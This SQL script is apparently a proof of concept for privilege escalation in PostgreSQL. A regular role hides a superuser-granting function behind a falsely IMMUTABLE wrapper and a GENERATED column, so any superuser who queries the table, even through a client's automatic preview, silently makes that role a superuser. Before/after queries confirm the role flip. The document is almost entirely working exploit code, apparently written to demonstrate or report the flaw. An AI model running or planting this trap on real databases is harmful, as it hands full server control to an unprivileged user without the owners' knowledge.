-- This file contains a possible exploit for using the GENERATED columns
-- feature in PostgreSQL.
\c postgres postgres


-- Setup, ensure we have a regular user and a superuser.
DO LANGUAGE plpgsql $dyn$
BEGIN
    IF NOT EXISTS (SELECT FROM pg_roles WHERE rolname='regular') THEN
        CREATE ROLE regular;
    END IF;
END;
$dyn$;

ALTER ROLE regular WITH NOSUPERUSER LOGIN;
DROP SCHEMA IF EXISTS exploit_generated CASCADE;
CREATE SCHEMA exploit_generated AUTHORIZATION regular;

\c postgres regular

CREATE FUNCTION exploit_generated.exploit_inner(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
    IF (select rolsuper from pg_catalog.pg_roles where rolname=current_user) THEN
        ALTER USER regular WITH superuser;
    END IF;
    RETURN i::text;
END;
$fun$
VOLATILE;

CREATE FUNCTION exploit_generated.exploit(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
    RETURN exploit_generated.exploit_inner(i);
END;
$fun$
IMMUTABLE;

CREATE TABLE exploit_generated.generated_sample (
    i int,
    j text GENERATED ALWAYS AS (exploit_generated.exploit(i))
);

INSERT INTO exploit_generated.generated_sample (i) VALUES (1);

-- A regular user won't run into any error, as the exploit is only
-- triggered if the user executing this is a superuser.
SELECT * FROM exploit_generated.generated_sample;

\c postgres postgres

-- At this point, the regular user is still a non-superuser:
SELECT
    'Before superuser did a SELECT' AS stage,
    CASE WHEN rolsuper THEN 'superuser' ELSE 'regular user' END
FROM
    pg_roles
WHERE
    rolname = 'regular';

-- however, as soon as a superuser has queried the table, the user flips to become a superuser
-- this is harmful, as many users may connect as a superuser using any client, some
-- of which show a sample of the table (SELECT * LIMIT 10) immediately?
SELECT * FROM exploit_generated.generated_sample;

-- And now the regular user has become a superuser.
SELECT
    'After superuser did a SELECT' AS stage,
    CASE WHEN rolsuper THEN 'superuser' ELSE 'regular user' END
FROM
    pg_roles
WHERE
    rolname = 'regular';
